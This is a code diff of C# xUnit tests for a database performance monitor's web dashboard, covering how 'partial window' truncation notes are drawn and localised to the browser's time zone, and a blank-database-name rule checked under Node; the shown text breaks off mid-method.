+        Assert.DoesNotContain("get_memory_grants", WebDataStartNote.NothingFoundStatusByRead.Keys);
+        Assert.DoesNotContain("get_resource_semaphore", WebDataStartNote.NothingFoundStatusByRead.Keys);
+        Assert.Equal("empty", WebDataStartNote.NothingFoundStatusByRead["get_plan_corrections"]);
+        Assert.DoesNotContain("get_active_queries", WebDataStartNote.TableByRead.Keys);
+    }
+
+    [Fact]
+    public void TheWebMirror_AsksAfterTheTool_InsideTheTryThatOwnsCancellation()
+    {
+        var endpoints = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        var call = endpoints.IndexOf("await WebDataStartNote.AddAsync(", StringComparison.Ordinal);
+        var tool = endpoints.IndexOf("result = await handler(context, postgres, analysis);", StringComparison.Ordinal);
+        var cancelled = endpoints.IndexOf("catch (OperationCanceledException) when (context.RequestAborted.IsCancellationRequested)", tool, StringComparison.Ordinal);
+
+        Assert.True(tool > 0 && call > tool && call < cancelled, "the note is added to the tool's answer, before the catch that classifies a cancelled request");
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(endpoints, @"WebDataStartNote\.AddAsync\("));
+    }
+
+    [Fact]
+    public void AGridWhoseTableStartsLate_ShowsWhereTheDataStarts()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorTableTruncated", out var r)) return;
+
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.StartsWith("partial window: this panel's data starts at 2026-01-02 00:00 UTC", notice, StringComparison.Ordinal);
+        Assert.Single(Strings(r, "fetches"));
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    [Fact]
+    public void AGridTheTableCovered_ShowsNoNotice()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorTableCovered", out var r)) return;
+
+        Assert.Empty(Strings(r, "notices"));
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    [Fact]
+    public void AChart_NeverDrawsTheNote_ItsAxisAlreadySpansTheRange()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorChartIgnored", out var r)) return;
+
+        Assert.Empty(Strings(r, "notices"));
+    }
+
+    [Fact]
+    public void AGridThatRendersTruncationNoteItself_DrawsItOnce()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorOwnNoteOnce", out var r)) return;
+
+        Assert.StartsWith("partial window:", Assert.Single(Strings(r, "notices")), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// An empty grid is where a short history misleads most (#4966): "no changes" over a server added two days ago reads as
+    /// quiet when it is only new. The server adds the note to the empty answer, and the page draws it above the empty message,
+    /// composed in the browser's zone like the note over rows. An empty answer without the note fields (unavailable, or a
+    /// covered window) draws only its message.
+    /// </summary>
+    [Fact]
+    public void AnEmptyGrid_ShowsTheNoteAboveItsMessage_InTheBrowsersZone_AndWithoutTheFieldsOnlyTheMessage()
+    {
+        var answer = CoverageAnswer();
+        answer.Remove("tasks");
+        answer["status"] = "empty";
+        answer["message"] = "No waiting tasks were captured in this window.";
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorLocal:" + NewYork, out var r, answer.ToJsonString())) return;
+
+        Assert.NotEqual(0, r.GetProperty("tzOffset").GetInt32());
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.Equal(InTheBrowsersZone(answer["truncation_note"]!.GetValue<string>(), r.GetProperty("local")), notice);
+        Assert.DoesNotContain("UTC", notice, StringComparison.Ordinal);
+        Assert.Equal("No waiting tasks were captured in this window.", Assert.Single(Strings(r, "empties")));
+
+        var plain = "{\"status\":\"unavailable\",\"message\":\"No latch statistics available in the requested time range.\"}";
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorLocal:" + NewYork, out var p, plain)) return;
+        Assert.Empty(Strings(p, "notices"));
+        Assert.Equal("No latch statistics available in the requested time range.", Assert.Single(Strings(p, "empties")));
+    }
+
+    [Fact]
+    public void TheWaitStatsGrid_ShowsTheNoteAboveItsRows()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorWaitStats", out var r)) return;
+
+        Assert.StartsWith("partial window:", Assert.Single(Strings(r, "notices")), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AStatTile_OverAWindowedRead_DrawsTheNote_LikeAGrid()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorStatDraws", out var r)) return;
+
+        Assert.StartsWith("partial window:", Assert.Single(Strings(r, "notices")), StringComparison.Ordinal);
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    [Fact]
+    public void ASpecWithWindowNoteFalse_DrawsNoNote_OverAnAnswerThatCarriesOne()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorOptOut", out var r)) return;
+
+        Assert.Empty(Strings(r, "notices"));
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>The PostgreSQL window reads (#4966), run under Node through the shipped <c>server-tabs.js</c>: one read
+    /// answers the three note fields, and the panels that draw them are exactly the ones named. Every panel of these
+    /// fanouts shows the window's figures (the stat tiles are window totals, the grids window aggregates or trend
+    /// points), so none opts out and the stat tile draws beside its grid. The sibling reads on the same tab answer
+    /// nothing and draw none.</summary>
+    [Theory]
+    [InlineData("activity", "get_pg_blocking", "Blocking Sampling|Blocking Chains|Lock Cycles")]
+    [InlineData("activity", "get_pg_top_queries", "Statement Evictions|Top Query Shapes")]
+    [InlineData("activity", "get_pg_database_stats", "Database Activity|By Database")]
+    [InlineData("vacuum", "get_pg_session_states", "Sessions Holding a Transaction Open|By Session")]
+    [InlineData("io", "get_pg_io_stats", "I/O Summary|By Backend, Object and Context")]
+    [InlineData("replication", "get_pg_replication_stats", "Connected Replicas")]
+    [InlineData("activity", "get_pg_database_trend", "Database Trend")]
+    [InlineData("activity", "get_pg_query_duration_trend", "Query Duration Trend")]
+    [InlineData("waits", "get_pg_wait_trend", "Wait Trend")]
+    [InlineData("io", "get_pg_io_trend", "I/O Trend")]
+    [InlineData("activity", "get_pg_plans", "Captured Plans")]
+    [InlineData("overview", "get_pg_autovacuum_health", "Autovacuum Backlog")]
+    [InlineData("vacuum", "get_pg_autovacuum_health", "Autovacuum Backlog|Tables Behind")]
+    [InlineData("overview", "get_pg_replication_slots", "Replication Slots")]
+    [InlineData("replication", "get_pg_replication_slots", "Slot Summary|Slots")]
+    [InlineData("io", "get_pg_write_stats", "Checkpoints and WAL")]
+    [InlineData("vacuum", "get_pg_xmin_horizon", "Horizon Holders")]
+    [InlineData("vacuum", "get_pg_wraparound_risk", "Per-Database Headroom")]
+    [InlineData("storage", "get_pg_index_usage", "Index Usage|By Index")]
+    [InlineData("overview", "get_pg_xmin_horizon", "")]
+    [InlineData("overview", "get_pg_wraparound_risk", "")]
+    public void EveryPanelOfAPostgresWindowRead_DrawsTheNote_TheStatTilesBesideTheirGrids(string tab, string read, string panels)
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorPg:" + tab + "|" + read, out var r)) return;
+
+        var expected = panels.Length == 0 ? [] : panels.Split('|');
+        var notices = Strings(r, "notices");
+        Assert.Equal(expected.Length, notices.Length);
+        foreach (var heading in expected)
+        {
+            var notice = Assert.Single(notices, n => n.StartsWith(heading, StringComparison.Ordinal));
+            Assert.Contains("partial window:", notice, StringComparison.Ordinal);
+        }
+
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>The Vacuum tab's freeze headroom tile and the horizon holder tile show the newest reading (the worst database, the
+    /// winning holder), the thresholds are constants the read ships, and the two Overview tiles of those reads are moments too: those
+    /// panels opt out of the note. The panels beside them that show a window figure (the per-database peak, the holders' peak and
+    /// share) and every other tile of the five reads draw it. Read from the source text, so it holds without Node.</summary>
+    [Fact]
+    public void OnlyThePanelsThatShowTheNewestValuesAlone_OptOutOfTheNote_OnTheVacuumHorizonSlotAndWriteTiles()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+        var postgres = tabs[tabs.IndexOf("export const POSTGRES_TABS", StringComparison.Ordinal)..];
+
+        string Panel(string title)
+        {
+            var at = postgres.IndexOf("title: \"" + title + "\"", StringComparison.Ordinal);
+            Assert.True(at > 0, title + " is not a PostgreSQL panel");
+            var end = postgres.IndexOf("\n        },", at, StringComparison.Ordinal);
+            return postgres[at..end];
+        }
+
+        Assert.Contains("windowNote: false", Panel("Where the Thresholds Are"), StringComparison.Ordinal);
+        Assert.Contains("windowNote: false", Panel("What Holds the Horizon"), StringComparison.Ordinal);
+        Assert.Contains("windowNote: false", Panel("Freeze Headroom"), StringComparison.Ordinal);
+        foreach (var title in new[] { "Per-Database Headroom", "Horizon Holders", "Tables Behind", "Slots", "Slot Summary" })
+        {
+            Assert.DoesNotContain("windowNote", Panel(title), StringComparison.Ordinal);
+        }
+
+        foreach (var title in new[] { "Freeze Headroom", "xmin Horizon" })
+        {
+            Assert.Contains("momentStat(\n        \"" + title + "\"", postgres, StringComparison.Ordinal);
+        }
+
+        foreach (var title in new[] { "Autovacuum Backlog", "Replication Slots", "Checkpoints and WAL" })
+        {
+            Assert.DoesNotContain("momentStat(\n        \"" + title + "\"", postgres, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The same decision in the source text, so it holds without Node: none of the eleven PostgreSQL window reads
+    /// opts a panel out of the note, because each one shows the window's own figures. The check reads only the spec block of
+    /// each listed read (its <c>fanout(</c> or <c>table(</c> call), so another PostgreSQL panel can opt out on its own.</summary>
+    [Fact]
+    public void NoPostgresWindowPanel_OptsOutOfTheNote()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var postgres = tabs[tabs.IndexOf("export const POSTGRES_TABS", StringComparison.Ordinal)..];
+
+        foreach (var read in new[]
+        {
+            "get_pg_top_queries", "get_pg_blocking", "get_pg_database_stats", "get_pg_session_states", "get_pg_io_stats",
+            "get_pg_replication_stats", "get_pg_database_trend", "get_pg_query_duration_trend", "get_pg_wait_trend", "get_pg_io_trend", "get_pg_plans",
+        })
+        {
+            var at = postgres.IndexOf("\"" + read + "\"", StringComparison.Ordinal);
+            Assert.True(at > 0, read + " is not on a PostgreSQL tab");
+            Assert.Equal(at, postgres.LastIndexOf("\"" + read + "\"", StringComparison.Ordinal));
+
+            /* The block: from the line naming the read to the first later line indented six spaces or fewer, the close of the
+               call (a fanout( opens at six, its panels sit deeper; a table( opens at six and names its read at eight). */
+            var lines = postgres[at..].Split('\n');
+            var block = new List<string> { lines[0] };
+            foreach (var line in lines.Skip(1))
+            {
+                if (line.Trim().Length > 0 && line.Length - line.TrimStart(' ').Length <= 6)
+                {
+                    break;
+                }
+
+                block.Add(line);
+            }
+
+            Assert.True(block.Count > 3, read + ": the spec block was not found");
+            Assert.DoesNotContain("windowNote", string.Join('\n', block), StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ASpecWithAFloorKey_DrawsTheNestedNote_NotTheTopLevelOne()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorNested", out var r)) return;
+
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.Equal("nested: the raw tier starts later", notice);
+    }
+
+    /// <summary>The server tabs' own specs, run under Node (the shipped <c>server-tabs.js</c>): the windowed halves of
+    /// the memory reads say where their data starts, and the newest-snapshot halves beside them, which share the one
+    /// fetch, do not. A strip comes back prefixed with the heading of the panel that drew it.</summary>
+    [Theory]
+    [InlineData("floorMemoryGrants", "Memory Grant Pressure")]
+    [InlineData("floorResourceSemaphore", "Resource Semaphore Pressure")]
+    [InlineData("floorPlanCorrections", "Plan Corrections")]
+    public void TheWindowedPanelOfAFanout_DrawsTheNote_AndItsSnapshotSiblingDoesNot(string scenario, string heading)
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun(scenario, out var r)) return;
+
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.StartsWith(heading, notice, StringComparison.Ordinal);
+        Assert.Contains("partial window:", notice, StringComparison.Ordinal);
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>An <c>empty</c> Plan Corrections answer carries the note in its envelope: the recommendations panel draws it
+    /// above the empty strip, and Automatic Tuning (<c>windowNote:false</c>) stays quiet. Without the flag, nothing draws.</summary>
+    [Fact]
+    public void AnEmptyPlanCorrectionsAnswer_DrawsTheNote_OnlyWhenTruncated_AndNotOnAutomaticTuning()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorPlanCorrectionsEmpty", out var r)) return;
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.StartsWith("Plan Corrections", notice, StringComparison.Ordinal);
+        Assert.Contains("partial window:", notice, StringComparison.Ordinal);
+        Assert.DoesNotContain(Strings(r, "notices"), n => n.StartsWith("Automatic Tuning", StringComparison.Ordinal));
+
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorPlanCorrectionsEmptyUntruncated", out var q)) return;
+        Assert.Empty(Strings(q, "notices"));
+    }
+
+    [Fact]
+    public void TheQueryStoreClutterTiles_DrawTheNestedWindowNote_OnTheGridAndTheOverheadGrid_ButNotOnTheClerkTile()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorClutter", out var r)) return;
+
+        var notices = Strings(r, "notices");
+        Assert.Equal(2, notices.Length);
+        Assert.Contains(notices, n => n.StartsWith("Query Store Clutter", StringComparison.Ordinal) && n.EndsWith("nested: the raw tier starts later", StringComparison.Ordinal));
+        Assert.Contains(notices, n => n.StartsWith("Query Store Overhead", StringComparison.Ordinal) && n.EndsWith("nested: the raw tier starts later", StringComparison.Ordinal));
+        Assert.DoesNotContain(notices, n => n.StartsWith("Query Store Memory Clerk", StringComparison.Ordinal));
+    }
+
+    /// <summary>The same decisions in the source text, so they hold without Node: the snapshot halves opt out, the two
+    /// clutter grids read the nested block, and the clerk tile does neither.</summary>
+    [Fact]
+    public void TheSnapshotPanels_OptOut_AndTheClutterGrids_ReadTheNestedWindow()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        string Spec(string title)
+        {
+            var at = tabs.IndexOf("title: \"" + title + "\",", StringComparison.Ordinal);
+            Assert.True(at > 0, title + " is not a spec");
+            var end = tabs.IndexOf("emptyText:", at, StringComparison.Ordinal);
+            Assert.True(end > at);
+            return tabs[at..end];
+        }
+
+        foreach (var title in new[] { "Memory Grants", "Resource Semaphore", "Automatic Tuning" })
+        {
+            Assert.Contains("windowNote: false", Spec(title), StringComparison.Ordinal);
+        }
+
+        foreach (var title in new[] { "Memory Grant Pressure", "Resource Semaphore Pressure", "Plan Corrections", "Query Store Memory Clerk" })
+        {
+            Assert.DoesNotContain("windowNote", Spec(title), StringComparison.Ordinal);
+        }
+
+        foreach (var title in new[] { "Query Store Clutter", "Query Store Overhead (per server)" })
+        {
+            Assert.Contains("floorKey: \"window\"", Spec(title), StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("floorKey", Spec("Query Store Memory Clerk"), StringComparison.Ordinal);
+    }
+
+    /// <summary>The page wiring in the source text, so it holds without Node: the shared strip is exported, a
+    /// descriptor panel draws it for a grid only, and the two hand-built paths that do not go through the descriptor
+    /// loader (the fanout tables and the Wait Stats grid) draw it too.</summary>
+    [Fact]
+    public void TheNote_IsDrawnByEveryGridPath_AndByNoChartPath()
+    {
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "util.js");
+        var panels = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js");
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        Assert.Contains("export function windowFloorStrip(data, desc) {", util, StringComparison.Ordinal);
+        Assert.Contains("desc.windowNote === false", util, StringComparison.Ordinal);
+        Assert.Contains("desc.viz !== \"table\" && desc.viz !== \"stat\"", util, StringComparison.Ordinal);
+        Assert.Contains("const source = desc.floorKey ? getPath(data, desc.floorKey) : data;", util, StringComparison.Ordinal);
+
+        Assert.Contains("const floor = windowFloorStrip(res.data, desc);", panels, StringComparison.Ordinal);
+
+        /* #4966: the empty envelope carries the note too, drawn above its message, and a read's answer is composed in the
+           browser's zone for the envelope as it is for rows. */
+        Assert.Contains("mount(body, [kept, windowFloorStrip(res.data, desc), emptyStrip(res.message)]);", panels, StringComparison.Ordinal);
+        Assert.Contains("res.kind !== \"data\" && res.kind !== \"empty\"", util, StringComparison.Ordinal);
+
+        Assert.Contains("windowFloorStrip(res.data, spec)", tabs, StringComparison.Ordinal);
+        Assert.Contains("const parts = [keptWindowStrip(res), windowFloorStrip(res.data, { viz: \"table\" }), VIZ.table(res.data, { rowsKey: \"waits\"", tabs, StringComparison.Ordinal);
+
+        /* The strip is a grid's. No line path asks for it. */
+        Assert.DoesNotContain("windowFloorStrip(trend", tabs, StringComparison.Ordinal);
+
+        /* The coverage sentence the server builds opens the way the page's composer keeps it. (This line used to assert
+           that the FloorNote constant was not empty: a constant, so it could not fail.) */
+        Assert.StartsWith(FloorNote, ComposeStoreAvailability.BuildDataStartNotice(Utc(2026, 1, 2), Utc(2025, 12, 26), Utc(2026, 1, 3)), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A window no longer than the 90-minute slack can never be called cut by the store: the coverage rule needs a start
+    /// more than the slack after the window's start, and the probe reports none at or after the window's end. So such an
+    /// answer comes back without the registry read or the floor read (<see cref="NeverConnects"/>: asking would throw).
+    /// The capped list does not use the probe, so a capped read over the same hour still gets its note.
+    /// </summary>
+    [Fact]
+    public async Task AWindowNoLongerThanTheSlack_NeverAsksTheStoreForCoverage_ButACappedListStillGetsItsNote()
+    {
+        await using var store = NeverConnects();
+        Task<string> Run(string tool, int hours, string payload) =>
+            WebDataStartNote.AddAsync(store, tool, "sql01", hours, WindowEnd, payload, null, Cancelled);
+
+        Assert.True(
+            TimeSpan.FromHours(1) <= DurationTrendRouting.TruncationSlack && TimeSpan.FromHours(2) > DurationTrendRouting.TruncationSlack,
+            "one hour is inside the slack, two hours is past it");
+
+        // The control: two hours is past the slack, so the coverage read happens and the instrument sees it.
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => Run("get_latch_stats", 2, Rows));
+        // One hour is inside it: no read, the same answer back.
+        Assert.Same(Rows, await Run("get_latch_stats", 1, Rows));
+
+        // A capped list over that hour: its oldest row is inside the window, and the note names it.
+        var capped = CappedTasks
+            .Replace("\"hours_back\":48", "\"hours_back\":1", StringComparison.Ordinal)
+            .Replace("2026-01-02T12:30:00.0000000", "2026-01-02T23:30:00.0000000", StringComparison.Ordinal);
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(await Run("get_waiting_tasks", 1, capped)));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal(
+            "partial window: this grid shows only the newest rows, back to 2026-01-02 23:30 UTC, because it stops at its row limit. "
+            + "The window started at 2026-01-02 23:00 UTC. The grid covers 2026-01-02 23:30 to 2026-01-03 00:00 UTC.",
+            answer["truncation_note"]?.GetValue<string>());
+    }
+
+    private const string NewYork = "America/New_York";
+
+    /// <summary>The server's sentence with each UTC instant it names swapped for what the page's own <c>localTime</c>
+    /// makes of that instant (the harness reports it per instant): what the page must draw when it composes the note in
+    /// the browser's zone, with the wording the server's sentence has.</summary>
+    private static string InTheBrowsersZone(string sentence, JsonElement local) =>
+        Regex.Replace(sentence, @"\d{4}-\d{2}-\d{2} \d{2}:\d{2}( UTC)?", m => local.GetProperty(m.Value[..16]).GetString()!);
+
+    /// <summary>What a coverage note's answer carries: the sentence the server builds, and the three instants as fields.</summary>
+    private static JsonObject CoverageAnswer() => new()
+    {
+        ["tasks"] = new JsonArray(new JsonObject { ["wait_type"] = "LCK_M_X" }),
+        ["window_truncated"] = true,
+        ["effective_start"] = "2026-01-02T00:00:00.0000000",
+        ["truncation_note"] = ComposeStoreAvailability.BuildDataStartNotice(Utc(2026, 1, 2), Utc(2025, 12, 26), Utc(2026, 1, 3)),
+        ["data_start_utc"] = "2026-01-02T00:00:00.0000000Z",
+        ["window_start_utc"] = "2025-12-26T00:00:00.0000000Z",
+        ["window_end_utc"] = "2026-01-03T00:00:00.0000000Z",
+    };
+
+    /// <summary>
+    /// The grids print their times in the browser's zone (<c>localTime</c>), so a note above one that named its instants
+    /// in UTC mixed two clocks on one page. The page composes the note again from the instants the answer carries, with
+    /// <c>localTime</c>, in the zone the browser is in (the harness runs it in New York): the same wording, the
+    /// instants the grid's own times show, no "UTC" left in it.
+    /// </summary>
+    [Fact]
+    public void ACoverageNote_IsComposedInTheBrowsersZone_FromTheFields_NotNamedInUtc()
+    {
+        var answer = CoverageAnswer();
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorLocal:" + NewYork, out var r, answer.ToJsonString())) return;
+
+        Assert.NotEqual(0, r.GetProperty("tzOffset").GetInt32());
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.Equal(InTheBrowsersZone(answer["truncation_note"]!.GetValue<string>(), r.GetProperty("local")), notice);
+        Assert.DoesNotContain("UTC", notice, StringComparison.Ordinal);
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    [Fact]
+    public async Task ACappedListNote_IsComposedInTheBrowsersZone_FromTheFields_NotNamedInUtc()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var answered = await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 48, WindowEnd, CappedTasks, null, ct);
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorLocal:" + NewYork, out var r, answered)) return;
+
+        var sentence = JsonNode.Parse(answered)!["truncation_note"]!.GetValue<string>();
+        Assert.NotEqual(0, r.GetProperty("tzOffset").GetInt32());
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.Equal(InTheBrowsersZone(sentence, r.GetProperty("local")), notice);
+        Assert.DoesNotContain("UTC", notice, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966: Darling's capped lists print where their rows stop as UTC with the Z (the shared formatter), where they used
+    /// to print the store's naive form. The web reads either: the field is read as UTC both ways, so the note, the
+    /// instants beside it and the page's composition in the browser's zone are what the naive answer gave, and
+    /// <c>effective_start</c> keeps the tool's own text.
+    /// </summary>
+    [Fact]
+    public async Task ACappedList_WhoseOldestRowIsStampedUtc_ReadsAsTheNaiveOneDid_OnTheServerAndOnThePage()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var stamped = CappedTasks.Replace("2026-01-02T12:30:00.0000000\"", "2026-01-02T12:30:00.0000000Z\"", StringComparison.Ordinal);
+        Assert.NotEqual(CappedTasks, stamped);
+
+        var naiveAnswered = await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 48, WindowEnd, CappedTasks, null, ct);
+        var answered = await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 48, WindowEnd, stamped, null, ct);
+
+        var naive = Assert.IsType<JsonObject>(JsonNode.Parse(naiveAnswered));
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["effective_start"]?.GetValue<string>());
+        foreach (var key in new[] { "truncation_note", "oldest_shown_utc", "window_start_utc", "window_end_utc" })
+        {
+            Assert.Equal(naive[key]?.GetValue<string>(), answer[key]?.GetValue<string>());
+        }
+
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorLocal:" + NewYork, out var r, answered)) return;
+
+        var sentence = answer["truncation_note"]!.GetValue<string>();
+        var notice = Assert.Single(Strings(r, "notices"));
+        Assert.Equal(InTheBrowsersZone(sentence, r.GetProperty("local")), notice);
+        Assert.DoesNotContain("UTC", notice, StringComparison.Ordinal);
+    }
+
+    /// <summary>A note whose answer lacks an instant (an older server, another reader), or carries one the page cannot
+    /// read, is drawn as the server sent it: the sentence, in UTC. Better a note in UTC than none.</summary>
+    [Fact]
+    public void ANoteWithoutAllItsFields_IsDrawnAsTheServerSentIt()
+    {
+        var none = CoverageAnswer();
+        none.Remove("data_start_utc");
+        none.Remove("window_start_utc");
+        none.Remove("window_end_utc");
+        var partial = CoverageAnswer();
+        partial.Remove("window_end_utc");
+        var unreadable = CoverageAnswer();
+        unreadable["data_start_utc"] = "not a time";
+
+        foreach (var answer in new[] { none, partial, unreadable })
+        {
+            if (!WebRangeKeptHistoryBehaviourTests.TryRun("floorLocal:" + NewYork, out var r, answer.ToJsonString())) return;
+            Assert.Equal(answer["truncation_note"]!.GetValue<string>(), Assert.Single(Strings(r, "notices")));
+        }
+    }
+
+    /// <summary>
+    /// The Queries tab's window notes (#4231) get the same clock. Two of the Queries reads word their note with no time in
+    /// it; the Query Store note names the instant its history starts when the interval table served it, as the
+    /// <c>effective_start</c> the answer carries. The page shows that instant in the browser's zone, on the descriptor grid
+    /// and on the Top Queries composite, and the MCP answer's own text (in UTC) is not touched. The note is the one the
+    /// tool serves (#4966), so the instant it names is the field's exact text, Z included: that is what the page finds.
+    /// </summary>
+    [Fact]
+    public void TheQueryStoreNote_NamesItsInstantInTheBrowsersZone_OnTheGridAndOnTheTopQueriesComposite()
+    {
+        var effectiveStart = new DateTime(2026, 1, 2, 0, 0, 0, DateTimeKind.Unspecified);
+        var stamp = PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(effectiveStart);
+        var note = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpDataTools.QueryStoreTableNote(effectiveStart, QueryStoreIntervalWide.WideStartBound.FilledSince);
+        Assert.Contains(stamp, note, StringComparison.Ordinal);
+        var answer = new JsonObject
+        {
+            ["queries"] = new JsonArray(new JsonObject { ["query_id"] = 1, ["query_text"] = "select 1" }),
+            ["window_truncated"] = true,
+            ["effective_start"] = stamp,
+            ["truncation_note"] = note,
+        };
+
+        foreach (var scenario in new[] { "queryStoreLocal", "topQueriesLocal" })
+        {
+            if (!WebRangeKeptHistoryBehaviourTests.TryRun(scenario + ":" + NewYork, out var r, answer.ToJsonString())) return;
+
+            var notice = Assert.Single(Strings(r, "notices"));
+            Assert.Equal(note.Replace(stamp, r.GetProperty("local").GetProperty(stamp).GetString()!, StringComparison.Ordinal), notice);
+            Assert.DoesNotContain(stamp, notice, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void AQueriesNoteThatNamesNoInstant_IsDrawnAsSent()
+    {
+        const string Note = "The window reaches further back than this server's raw query_stats retains (or this server has been monitored for less time than that), so the older part of it was not read.";
+        var answer = new JsonObject
+        {
+            ["queries"] = new JsonArray(new JsonObject { ["query_id"] = 1, ["query_text"] = "select 1" }),
+            ["window_truncated"] = true,
+            ["effective_start"] = "2026-01-02T00:00:00.0000000",
+            ["truncation_note"] = Note,
+        };
+
+        foreach (var scenario in new[] { "queryStoreLocal", "topQueriesLocal" })
+        {
+            if (!WebRangeKeptHistoryBehaviourTests.TryRun(scenario + ":" + NewYork, out var r, answer.ToJsonString())) return;
+            Assert.Equal(Note, Assert.Single(Strings(r, "notices")));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseBlankRuleTests.cs b/Darling/Darling.Tests/WebDatabaseBlankRuleTests.cs
new file mode 100644
index 0000000000..e09082fca5
--- /dev/null
+++ b/Darling/Darling.Tests/WebDatabaseBlankRuleTests.cs
@@ -0,0 +1,138 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245: the page and the service use ONE blank-name rule for a database name. The service's rule is
+/// <c>string.IsNullOrWhiteSpace</c> (<see cref="DatabaseFilter"/>); the page's is <c>isBlankDatabaseName</c> in
+/// <c>viewer-local.js</c>, run here under Node. Both answer the SAME list: every UTF-16 code unit on its own (all 65,536,
+/// lone surrogates included) and a set of mixed strings, so a character the two disagree on (U+0085 and U+FEFF are the two
+/// JavaScript's <c>trim()</c> gets differently) fails here by name. Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebDatabaseBlankRuleTests
+{
+    /// <summary>The shared list: every code unit alone, then mixed strings.</summary>
+    private static string[] SharedList()
+    {
+        var list = Enumerable.Range(0, 0x10000).Select(c => ((char)c).ToString()).ToList();
+        list.Add("");
+        list.Add("\u0085 ");
+        list.Add(" ");
+        list.Add(" a");
+        list.Add("\u0085a");
+        list.Add("a");
+        list.Add("  　\t\r\n");
+        list.Add("\u0009\u000b\u000c\u001c\u001f");
+        list.Add("᠎");
+        list.Add("SalesDb");
+        list.Add(" SalesDb");
+        list.Add(new string('x', 128));
+        list.Add(new string('x', 129));
+        list.Add(new string('\u0085', 129));
+        return list.ToArray();
+    }
+
+    private static JsonElement RunNode(string[] list)
+    {
+        var psi = new ProcessStartInfo("node")
+        {
+            RedirectStandardInput = true,
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "viewer-local-blank-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "viewer-local.js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
